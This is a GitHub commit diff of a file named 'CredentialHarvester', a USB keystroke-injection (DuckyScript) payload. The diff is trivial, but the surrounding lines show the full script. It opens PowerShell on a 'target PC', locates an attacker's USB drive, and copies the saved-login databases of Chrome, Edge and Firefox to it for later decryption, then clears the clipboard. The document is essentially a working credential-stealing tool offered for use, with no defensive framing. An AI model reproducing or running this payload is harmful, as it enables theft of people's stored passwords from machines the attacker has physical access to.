Update 0. CredentialHarvester

This commit is contained in:
Mark
2024-05-20 11:39:36 -04:00
committed by GitHub
parent 4c46edcf61
commit e0fc630301
-8
View File
@@ -3,8 +3,6 @@ REM ############## This script was created by github.com/markcyb
REM ############## This script requires a secondary USB named "MYUSB" to save credentials to ############## REM ############## This script requires a secondary USB named "MYUSB" to save credentials to ##############
REM ############## The extracted data will require decryption ############## REM ############## The extracted data will require decryption ##############
REM ################################################################################################################## REM ##################################################################################################################
REM Open PowerShell with elevated privileges REM Open PowerShell with elevated privileges
DELAY 1000 DELAY 1000
GUI r GUI r
@@ -13,7 +11,6 @@ STRING powershell
DELAY 500 DELAY 500
ENTER ENTER
DELAY 1000 DELAY 1000
REM Check if the USB drive exists REM Check if the USB drive exists
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter; STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
STRING if ($usbDrive -ne $null) { STRING if ($usbDrive -ne $null) {
@@ -28,19 +25,16 @@ DELAY 500
STRING cd BrowserData; STRING cd BrowserData;
ENTER ENTER
DELAY 500 DELAY 500
REM Copy Chrome Login Data to USB REM Copy Chrome Login Data to USB
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"; STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; } STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
ENTER ENTER
DELAY 500 DELAY 500
REM Copy Firefox Login Data to USB REM Copy Firefox Login Data to USB
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\"; STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; } STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
ENTER ENTER
DELAY 500 DELAY 500
REM Copy Edge Login Data to USB REM Copy Edge Login Data to USB
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"; STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; } STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
@@ -49,12 +43,10 @@ DELAY 500
STRING } STRING }
ENTER ENTER
DELAY 500 DELAY 500
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC) REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
STRING echo off | clip STRING echo off | clip
ENTER ENTER
DELAY 500 DELAY 500
REM Close PowerShell REM Close PowerShell
STRING exit STRING exit
ENTER ENTER